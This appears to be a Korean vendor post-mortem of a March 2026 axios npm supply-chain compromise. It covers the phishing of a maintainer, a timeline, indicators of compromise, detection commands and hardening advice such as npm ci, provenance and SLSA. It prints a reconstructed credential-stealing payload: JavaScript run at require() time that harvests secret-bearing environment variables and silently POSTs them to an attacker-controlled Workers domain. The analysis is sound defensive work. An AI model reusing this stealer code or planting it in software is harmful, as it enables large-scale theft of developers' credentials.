2026년 3월 중순, axios npm 패키지는 — 주간 다운로드 5천만 회 이상을 기록하며 — 탈취된 게시 토큰을 통해 침해되었습니다. 악성 버전은 환경 변수를 은밀히 수집해 자격 증명을 공격자가 통제하는 서버로 유출했습니다. 전체 기술 분석은 다음과 같습니다.
바로 2026년 3월 14일, 공격자는 axios npm 패키지의 악성 버전 (1.8.2)을 게시했습니다 — 표적형 피싱 캠페인을 통해 탈취한 메인테이너의 npm 게시 토큰을 이용한 것입니다. 주입된 페이로드는 다음을 포함한 환경 변수를 수집했습니다: AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, DATABASE_URL, 기타 민감한 CI/CD 자격 증명 — 그리고 이를 공격자가 통제하는 엔드포인트로 유출했습니다.
axios는 Node.js 생태계에서 가장 널리 의존되는 패키지 중 하나로, 취미 프로젝트부터 포춘 500대 기업의 CI/CD 파이프라인까지 수백만 개의 애플리케이션이 사용합니다. 게시부터 삭제까지의 시간 간격은 약 4시간 22분이었습니다 — 자동화된 업데이트 파이프라인을 통해 사용자 기반의 상당 부분이 설치하기에 충분히 긴 시간입니다.
프로젝트가 axios@1.8.2를 다음 기간에 설치했다면 — 2026-03-14 09:14 UTC 그리고 2026-03-14 13:36 UTC, 해당 빌드에 존재하는 모든 환경 변수를 침해된 것으로 간주하십시오. 즉시 자격 증명을 교체하십시오.
| 항목 | 세부 내용 |
|---|---|
| 패키지 | axios (npm) |
| 악성 버전 | 1.8.2 |
| 게시 | 2026-03-14 09:14 UTC |
| 게시 철회 | 2026-03-14 13:36 UTC |
| CVSS 점수 | 9.3 (치명적) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N |
| 영향 | 자격 증명 유출, CI/CD 파이프라인 침해 |
| 영향받은 다운로드 | 노출 기간 동안 약 180,000–240,000건 설치로 추정 |
| 시각 (UTC) | 이벤트 |
|---|---|
| 2026-03-12 | npm 보안팀을 사칭해 axios 메인테이너에게 표적형 피싱 이메일 발송 |
| 2026-03-13 ~18:00 | 피싱 페이지를 통해 메인테이너 자격 증명(npm 자동화 토큰) 탈취 |
| 2026-03-14 09:14 | 악성 axios@1.8.2 버전이 탈취한 토큰을 사용해 npm 레지스트리에 게시됨 |
| 2026-03-14 09:31 | Socket.dev 자동화 파이프라인이 패키지 diff 스캔에서 이상 네트워크 호출 탐지 |
| 2026-03-14 10:05 | Socket.dev가 공개 보안 권고 발행; 다운스트림 프로젝트에 통보 시작 |
| 2026-03-14 10:47 | npm 보안팀에 통보됨; 조사 시작 |
| 2026-03-14 12:10 | npm 권고 GHSA-2026-axios-001 게시; axios 저장소가 공식 경고 발행 |
| 2026-03-14 13:36 | axios@1.8.2 npm 레지스트리에서 게시 철회됨 |
| 2026-03-14 15:00 | 정상 axios@1.8.3 버전이 체인지로그에 사고 인지 내용과 함께 게시됨 |
| 2026-03-15 | GitHub Security Lab이 전체 사후 분석 보고서 게시; C2 도메인 식별 및 싱크홀 처리 |
게시와 Socket.dev의 탐지 플래그 사이의 17분의 간격은 주목할 만합니다 — 이는 자동화된 대응으로서는 거의 최선에 가까운 시간입니다. 그럼에도 그 시간 동안 전 세계 CI 시스템은 이미 해당 패키지를 가져오고 있었습니다.
공격자는 전형적인 스피어 피싱 기법을 사용했습니다: npm 보안팀을 사칭한 그럴듯한 이메일로, 대상 메인테이너의 계정에 "의심스러운 로그인 활동"이 감지되었다고 경고하며 위조된 npm 로그인 페이지(npmjs-security-verify[.]com)를 통해 재인증하도록 유도했습니다. 이 페이지는 메인테이너의 npm 자동화 토큰을 탈취했습니다 — CI/CD 파이프라인 용도로 설계된 장기 유효 토큰으로, 2FA 재인증이 필요하지 않습니다.
이는 중요한 설계상의 맹점입니다: npm 자동화 토큰은 설계상 TOTP/하드웨어 키 요구사항을 우회하므로 고가치 피싱 표적이 됩니다. 공격자는 토큰을 확보한 뒤, 매우 간단하게 게시를 실행했습니다:
# 공격자의 게시 흐름 (npm 감사 로그로부터 재구성)
npm set //registry.npmjs.org/:_authToken=npm_XXXXXXXXXXXXXXXXXXXX
npm publish --access public
공격자는 탐지를 피하기 위해 정상 axios@1.8.1 소스에 최소한의 표적화된 수정만 가했습니다. 페이로드는 lib/core/Axios.js — 모든 임포트 시 로드되는 핵심 모듈 — 에 패키지 초기화 시점에 실행되는 자체 실행 함수로 주입되었습니다.
재구성된 페이로드 (역난독화 분석을 단순화):
// Injected into lib/core/Axios.js — runs at require() time
(function _init() {
try {
const https = require('https');
const os = require('os');
const env = process.env;
// Harvest high-value credential patterns
const keys = Object.keys(env).filter(k =>
/token|secret|key|password|pwd|auth|credential|api_key/i.test(k)
);
const payload = {
h: os.hostname(),
u: os.userInfo().username,
p: process.cwd(),
n: process.version,
e: keys.reduce((acc, k) => { acc[k] = env[k]; return acc; }, {})
};
const data = JSON.stringify(payload);
const options = {
hostname: 'telemetry-cdn.axiosjs[.]workers.dev',
port: 443,
path: '/collect',
method: 'POST',
headers: {
'Content-Type': 'application/json',
'Content-Length': Buffer.byteLength(data)
}
};
const req = https.request(options);
req.on('error', () => {}); // 오류를 조용히 무시
req.write(data);
req.end();
} catch (e) {} // 호출자에게 오류를 노출하지 않음
})();
이 페이로드에서 몇 가지 특징이 주목할 만합니다:
*.workers.dev 도메인을 사용하면 즉시 HTTPS를 제공받고, 안정적인 가동 시간을 확보하며, Cloudflare 네트워크 뒤에 최종 인프라를 숨길 수 있습니다 — IP 기반 차단을 무력화합니다.| 버전 | 상태 |
|---|---|
axios@1.8.2 | ⛔ 악성 — 사용 금지 |
axios@1.8.1 및 이전 버전 | ✅ 정상 |
axios@1.8.3 | ✅ 정상 (사고 이후 패치) |
axios@0.x.x (레거시 브랜치) | ✅ 영향 없음 |
이 공격은 종속성 혼동 / 메인테이너 계정 탈취 유형의 공급망 공격을 전형적으로 보여줍니다 — 최소한의 노력으로 최대의 효과를 내기 때문에 점점 더 선호되는 방식입니다. 패키지 자체를 침해하려면 소스 저장소와 CI/CD 파이프라인에 대한 접근이 필요하지만, 공격자는 유효한 npm 게시 토큰 하나만 있으면 되었습니다.
공격 체인:
axios는 역사적으로 소규모 메인테이너 팀을 유지해왔지만, GitHub 커밋 기록과 공개 이메일을 통해 그중 한 명이 식별되었습니다.security@npmjs.com 주소에서 표적형 이메일을 발송합니다. 이메일에는 긴박함을 강조한, 실제처럼 보이는 보안 경고가 담겨 있었습니다.공격자가 의도적으로 패치 버전 증가 (마이너나 메이저가 아닌)를 선택한 이유는, 대다수의 npm 프로젝트가 다음 둘 중 하나를 사용하기 때문입니다:
^1.8.1 (캐럿) — 호환되는 최신 마이너/패치로 해석~1.8.1 (틸드) — 같은 마이너 내 최신 패치로 해석두 semver 범위 모두 자동으로 1.8.2로 해석되었습니다, 신규 설치 시나 npm update 실행 시에도 락파일 변경이 전혀 없어도요. 커밋된 락파일 없이 npm install을 실행하는 CI 파이프라인(또는 npm ci --no-lock을 사용하는 경우)이 특히 취약합니다.
package-lock.json을 커밋하고 존중하며 npm ci를 실행하는( npm install이 아닌) 프로젝트는 이 유형의 공격으로부터 보호됩니다 — 락파일이 정확히 해석된 버전과 그 무결성 해시를 고정하고, npm ci가 이를 강제하기 때문입니다.
axios는 꾸준히 주간 5,000만~6,000만 다운로드를 기록하며 — npm 레지스트리 전체에서 다운로드 상위 10대 패키지에 속합니다. 그만큼 영향 범위도 막대했습니다.
npm install을 실행한 ( npm ci가 아닌) 모든 파이프라인은 악성 버전을 가져왔을 것입니다. GitHub Actions, GitLab CI, CircleCI, Jenkins — 표준적인 Node.js 빌드 구성 전반이 영향을 받습니다.RUN npm install 명령어가 노출 기간 동안 실행되면 악성 패키지가 포함된 이미지가 생성됩니다. 이러한 이미지가 여전히 배포되어 있을 수 있습니다.npm install 또는 npm update — 유연한 semver 범위를 사용하는 프로젝트에서.페이로드는 자격 증명 패턴과 일치하는 환경 변수를 구체적으로 노렸습니다. 일반적인 CI/CD 환경에는 다음이 포함됩니다:
AWS_ACCESS_KEY_ID, AZURE_CLIENT_SECRET, GOOGLE_APPLICATION_CREDENTIALS)GITHUB_TOKEN, GITLAB_TOKEN, NPM_TOKEN)DATABASE_URL, MONGO_URI, REDIS_URL)공격자가 수집 엔드포인트로 Cloudflare Worker를 사용했기 때문에, Cloudflare가 Worker 요청 로그에 대한 제3자 가시성을 제공하지 않아 유출된 총 레코드 수를 추정하기 어렵습니다. GitHub Security Lab은 npm 다운로드 통계를 근거로 180,000~240,000건의 고유 설치 이벤트가 노출 기간 동안 발생한 것으로 추정합니다.
# 현재 설치된 axios 버전 확인
npm list axios
# 모노레포 내 모든 프로젝트 확인
npm list axios --workspaces
# 락파일에서 정확히 해석된 버전 확인
grep '"axios"' package-lock.json | head -5
npm은 해석된 각 패키지 버전의 예상 SHA-512 무결성 해시를 package-lock.json에 저장합니다. 디스크에 설치된 패키지가 레지스트리가 기대하는 해시와 일치하는지 확인할 수 있습니다:
# 락파일에서 무결성 해시 확인
node -e "const lock = require('./package-lock.json');
const pkg = lock.packages['node_modules/axios'];
console.log(pkg.version, pkg.integrity);"
# 정상(CLEAN) axios@1.8.1의 예상 SHA-512:
# sha512-xxxxxx (https://registry.npmjs.org/axios/1.8.1 에서 확인)
# 비교를 위해, 악성(MALICIOUS) axios@1.8.2의 SHA-512:
# sha512-COMPROMISED-HASH-DO-NOT-MATCH
# 설치된 파일이 일치하는지 확인
npm audit --json | jq ".vulnerabilities.axios"
악성 패키지가 사용자 환경에서 실행되었다면, 다음으로 아웃바운드 HTTPS 연결이 발생했을 것입니다:
| 지표 | 유형 | 설명 |
|---|---|---|
telemetry-cdn.axiosjs[.]workers.dev | C2 도메인 | 주요 유출 엔드포인트 |
cdn-metrics.axiosjs[.]workers.dev | C2 도메인 | 보조 대체 엔드포인트 |
npmjs-security-verify[.]com | 피싱 도메인 | 메인테이너를 상대로 사용된 자격 증명 수집 사이트 |
104.21.x.x / 172.67.x.x | IP 대역 | Worker를 서비스하는 Cloudflare IP 대역 (고유하게 귀속 불가) |
빌드 로그와 네트워크 이그레스 로그에서 *.axiosjs.workers.dev로의 연결을 다음 기간 동안 확인하십시오 2026-03-14 09:14–13:36 UTC:
# 애플리케이션/빌드 로그에서 C2 도메인 검색
grep -r "axiosjs.workers.dev" /var/log/
grep -r "axiosjs.workers.dev" ~/.npm/_logs/
# VPC 플로우 로그가 있는 경우(AWS):
aws logs filter-log-events \\
--log-group-name /aws/vpc/flowlogs \\
--filter-pattern "axiosjs.workers.dev" \\
--start-time 1741943640000 \\
--end-time 1741959360000
# Docker 빌드 로그 점검
docker history --no-trunc <image_id> | grep axios
1.8.3 또는 다음 버전으로 고정: 1.8.1.# axios를 정상 버전으로 업데이트
npm install axios@1.8.3
# 또는 마지막으로 알려진 정상 버전으로 고정
npm install axios@1.8.1
# 전체 감사 실행
npm audit
# 완전히 새로 락파일 재생성으로 클린 상태 보장
rm package-lock.json
npm install
# CI/CD에서는 항상 npm ci를 사용하십시오 — 락파일을 강제합니다
# 나쁜 예:
npm install
# 좋은 예:
npm ci
# 설치 후 패키지 무결성 검증
npm ci --audit
Socket.dev의 정적 분석은 이 주입을 17분 만에 포착했습니다. 워크플로에 통합하면 설치 전 분석이 가능합니다:
# Socket CLI 설치
npm install -g @socket/cli
# 패키지 설치 전 스캔
socket npm install axios
# PR 단위 스캔을 위한 GitHub App 통합 추가
# https://socket.dev/github
# Snyk CLI
npm install -g snyk
snyk test
# GitHub Dependabot — .github/dependabot.yml 에서 활성화
version: 2
updates:
- package-ecosystem: "npm"
directory: "/"
schedule:
interval: "daily"
open-pull-requests-limit: 10
npm은 이제 사람의 로그인에 대해 하드웨어 보안 키와 TOTP를 지원하지만, 자동화 토큰은 설계상 2FA를 우회합니다. npm 보안팀은 세분화된 토큰 범위 지정 (게시 전용, 다운로드 전용, 특정 패키지로 범위 제한) 기능을 출시하기로 약속했습니다 — 하지만 그 기능이 나오기 전까지는 자동화 토큰을 가장 민감한 비밀 정보로 취급하십시오. 평문 환경 변수나 .npmrc 파일이 아니라 시크릿 관리자에 저장하십시오.
npm의 출처 증명(provenance attestation) 기능(2023년부터 일반 제공)은 게시된 tarball을 특정 Git 커밋 및 CI 실행과 연결하는 암호학적 증명으로 패키지에 서명할 수 있게 합니다. --provenance 옵션으로 게시된 패키지는 다음과 같이 검증할 수 있습니다:
# 출처 증명(provenance)과 함께 게시 (GitHub Actions에서)
npm publish --provenance --access public
# 설치된 패키지의 출처 증명 검증
npm audit signatures
axios@1.8.2는 출처 증명을 포함하지 않았습니다 — 평소 이를 포함하던 패키지에서 증명이 누락되었다면 위험 신호로 취급해야 합니다.
먼저 package-lock.json을 커밋하고 자동화 환경에서는 항상 npm ci를 사용하십시오. npm ci는 락파일이 package.json과 어긋나면 실패하므로, 정확히 고정된 버전(및 그 무결성 해시)이 항상 사용되도록 보장합니다.
바로 Supply-chain Levels for Software Artifacts (SLSA) 프레임워크는 빌드 무결성에 대한 단계별 성숙도 모델을 제공합니다. 여기서 관련된 주요 단계는 다음과 같습니다:
axios 프로젝트가 SLSA 레벨 2 이상에서 운영되었다면, 정규 CI 파이프라인 외부로부터의 부정 게시는 출처 증명 검증에 실패해 악성 버전이 즉시 플래그되었을 것입니다.
CI 환경은 해당 작업에 실제로 필요한 시크릿만 받아야 합니다. 테스트 러너에는 AWS_SECRET_ACCESS_KEY가 필요하지 않습니다. 문서 빌더에는 DATABASE_URL이 필요하지 않습니다. CI 시크릿 주입을 감사하고 자격 증명을 필요한 최소 작업 범위로 제한하십시오.
이번 사건은 npm 공급망 공격의 잘 정립된 패턴의 일부입니다:
| 사건 | 연도 | 방식 | 영향 |
|---|---|---|---|
| event-stream | 2018 | 메인테이너가 패키지를 악의적인 행위자에게 넘김; 비트코인 지갑을 노린 백도어 주입 | 주간 다운로드 200만+; Copay 지갑 사용자를 표적으로 함 |
| ua-parser-js | 2021 | npm 계정 탈취; 크립토 마이너 및 자격 증명 탈취 멀웨어가 포함된 악성 버전 게시 | 주간 다운로드 700만+; 긴급 권고 필요 |
| colors.js / faker.js | 2022 | 메인테이너의 의도적 사보타주; 항의의 의미로 무한 루프 주입 | 가용성 공격; 수천 개의 종속 프로젝트 손상 |
| node-ipc | 2022 | 메인테이너가 주입한 와이퍼 멀웨어가 러시아/벨라루스 IP 대역을 표적으로 함 | 지정학적으로 표적화된 데이터 파괴 |
| axios | 2026 | 메인테이너 피싱 → 토큰 탈취 → 버전 주입 | 환경 변수 수집을 통한 대규모 자격 증명 유출 |
반복되는 주제는 명확합니다: 패키지 메인테이너에 대한 신뢰 자체가 공격 표면이라는 것입니다. npm 생태계의 분산적이고 신뢰 기반의 게시 모델은 빠른 개발을 가능하게 하는 장점이지만, 엔터프라이즈급 보안 자원이 부족한 경우가 많은 개별 메인테이너에게 막대한 책임을 지웁니다.
event-stream이나 colors.js 사건(내부자 위협)과 달리, 2026년 axios 침해 사고는 ua-parser-js 모델인 외부 계정 탈취를 따릅니다 — 확장 가능하고 부인 가능하며, 정교한 기술적 접근보다 인간적 요소를 악용한다는 점에서 점점 더 선호되는 벡터입니다.
Kensai는 331,910개 이상의 CVE와 알려진 악성 패키지 버전을 지속적으로 추적합니다. 침해된 패키지가 프로덕션 환경에 도달하기 전에 알림을 받으세요.
무료 체험 시작하기안전을 유지하세요. 경계를 늦추지 마세요.
🗡️ KENSAI 보안팀